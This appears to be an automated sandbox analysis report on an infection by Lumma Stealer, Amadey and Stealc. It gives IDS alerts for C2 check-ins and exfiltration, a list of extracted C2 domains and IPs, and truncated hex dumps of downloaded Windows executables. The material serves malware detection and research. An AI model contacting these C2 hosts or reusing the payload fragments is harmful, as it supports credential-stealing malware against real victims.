Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:59792 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:59793 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:59795 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:59794 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:59796 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:59799 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:59800 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.5:59505 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.5:60167 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:59806 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.5:65250 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:59807 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.5:60506 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:59811 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057093 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (seallysl .site) : 192.168.2.5:53051 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:59822 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:59815 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057094 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (seallysl .site in TLS SNI) : 192.168.2.5:59835 -> 104.21.43.145:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:59836 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057094 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (seallysl .site in TLS SNI) : 192.168.2.5:59840 -> 104.21.43.145:443
Source: Network traffic	Suricata IDS: 2057094 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (seallysl .site in TLS SNI) : 192.168.2.5:59843 -> 104.21.43.145:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:59841 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:59798 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:59814 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057094 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (seallysl .site in TLS SNI) : 192.168.2.5:59824 -> 104.21.43.145:443
Source: Network traffic	Suricata IDS: 2057094 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (seallysl .site in TLS SNI) : 192.168.2.5:59845 -> 104.21.43.145:443
Source: Network traffic	Suricata IDS: 2057094 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (seallysl .site in TLS SNI) : 192.168.2.5:59847 -> 104.21.43.145:443
Source: Network traffic	Suricata IDS: 2057094 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (seallysl .site in TLS SNI) : 192.168.2.5:59849 -> 104.21.43.145:443
Source: Network traffic	Suricata IDS: 2057094 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (seallysl .site in TLS SNI) : 192.168.2.5:59852 -> 104.21.43.145:443
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.5:64868 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:59851 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:59886 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.5:54332 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:59890 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:59893 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:59892 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.5:63978 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:59894 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:59895 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:59889 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.5:52875 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:59891 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49704 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49704 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49709 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49711 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49705 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49705 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:59798 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:59806 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:59824 -> 104.21.43.145:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:59824 -> 104.21.43.145:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:59814 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:59814 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:59835 -> 104.21.43.145:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:59835 -> 104.21.43.145:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:59847 -> 104.21.43.145:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:59788 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:59788 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:59852 -> 104.21.43.145:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:59889 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:59889 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:59886 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:59886 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:59891 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:59895 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:59807 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:59807 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:59790 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:59790 -> 188.114.97.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor	URLs: navygenerayk.store
Source: Malware configuration extractor	URLs: thumbystriw.store
Source: Malware configuration extractor	URLs: crisiwarny.store
Source: Malware configuration extractor	URLs: necklacedmny.store
Source: Malware configuration extractor	URLs: presticitpo.store
Source: Malware configuration extractor	URLs: founpiuer.store
Source: Malware configuration extractor	URLs: fadehairucw.store
Source: Malware configuration extractor	URLs: scriptyprefej.store
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: unknown

Network traffic detected: DNS query count 37

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 29 Oct 2024 23:20:15 GMTContent-Type: application/octet-streamContent-Length: 2790400Last-Modified: Tue, 29 Oct 2024 22:11:55 GMTConnection: keep-aliveETag: "67215dab-2a9400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2b 00 00 04 00 00 f7 3e 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6b 7a 71 73 63 68 64 70 00 40 2a 00 00 a0 00 00 00 34 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 74 62 66 6d 6d 76 67 00 20 00 00 00 e0 2a 00 00 04 00 00 00 6e 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 00 2b 00 00 22 00 00 00 72 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 29 Oct 2024 23:20:18 GMTContent-Type: application/octet-streamContent-Length: 1887744Last-Modified: Tue, 29 Oct 2024 23:05:06 GMTConnection: keep-aliveETag: "67216a22-1cce00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 a0 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 4a 00 00 04 00 00 62 73 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 83 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 82 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 20 2a 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 63 6e 77 76 66 6a 6e 00 c0 19 00 00 d0 30 00 00 b4 19 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 69 6c 73 6a 77 70 76 00 10 00 00 00 90 4a 00 00 04 00 00 00 a8 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 4a 00 00 22 00 00 00 ac 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 29 Oct 2024 23:21:08 GMTContent-Type: application/octet-streamContent-Length: 21504Last-Modified: Tue, 29 Oct 2024 21:00:24 GMTConnection: keep-aliveETag: "67214ce8-5400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 11 df 94 a7 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 4a 00 00 00 08 00 00 00 00 00 00 9a 68 00 00 00 20 00 00 00 80 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 00 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 46 68 00 00 4f 00 00 00 00 80 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 00 00 0c 00 00 00 b4 67 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a0 48 00 00 00 20 00 00 00 4a 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 9c 05 00 00 00 80 00 00 00 06 00 00 00 4c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 a0 00 00 00 02 00 00 00 52 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7a 68 00 00 00 00 00 00 48 00 00 00 02 00 05 00 0c 37 00 00 a8 30 00 00 03 00 02 00 17 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 30 02 00 26 00 00 00 01 00 00 11 00 28 15 00 00 0a 6f 16 00 00 0a 0a 06 7e 17 00 00 0a 28 18 00 00 0a 0b 07 2c 0a 00 06 16 28 1a 00 00 06 26 00 2a 00 00 13 30 03 00 3c 00 00 00 02 00 00 11 00 72 01 00 00 70 28 19 00 00 0a 00 28 1a 00 00 0a 28 1b 00 00 0a 0a 06 06 17 58 5a 18 5b 0b 72 75 00 00 70 06 8c 22 00 00 01 07 8c 22 00 00 01 28 1c 00 00 0a 28 19 00 00 0a 00 2a 13 30 03 00 59 00 00 00 03 00 00 11 00 72 d5 00 00 70 28 19 00 00 0a 00 28 1a 00 00 0a 28 1b 00 00 0a 0a 16 0b 17 0c 18 0d 2b 10 00 07 08 58 13 04 08 0b 11 04 0c 00 09 17 58 0d 09 06 fe 02 16 fe 01 13 05 11 05 2d e3 72 2d 01 00 70 06 8c 22 00 00 01 08 8c 22 00 00 01 28 1c 00 00 0a 28 19 00 00 0a 00 2a 00 00 00 13 30 03 00 67 00 00 00 04 00 00 11 00 72 71 01 00 70 28 19 00 00 0a 00 28 1a 00 00 0a 28 01 00 00 2b 6f 1e 00 00 0a 14 fe 06 1b 00 00 0a 73 1f 00 00 0a 28 02 00 00 2b 28 03 00 00 2b 0a 06 16 94 0b 06 17 94 0c 2b 0a 00 08 0d 07 08 5d 0c 09 0b 00 08 16 fe 03 13 04 11
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 29 Oct 2024 23:21:13 GMTContent-Type: application/octet-streamContent-Length: 2932224Last-Modified: Tue, 29 Oct 2024 23:04:46 GMTConnection: keep-aliveETag: "67216a0e-2cbe00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 d0 2f 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 30 00 00 04 00 00 3e 5e 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 05 00 00 10 00 00 00 7e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 40 03 00 00 00 90 05 00 00 04 00 00 00 8e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 05 00 00 02 00 00 00 92 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 72 6a 67 68 7a 6d 79 70 00 10 2a 00 00 b0 05 00 00 02 2a 00 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 7a 70 6e 71 69 6c 65 79 00 10 00 00 00 c0 2f 00 00 06 00 00 00 96 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 2f 00 00 22 00 00 00 9c 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 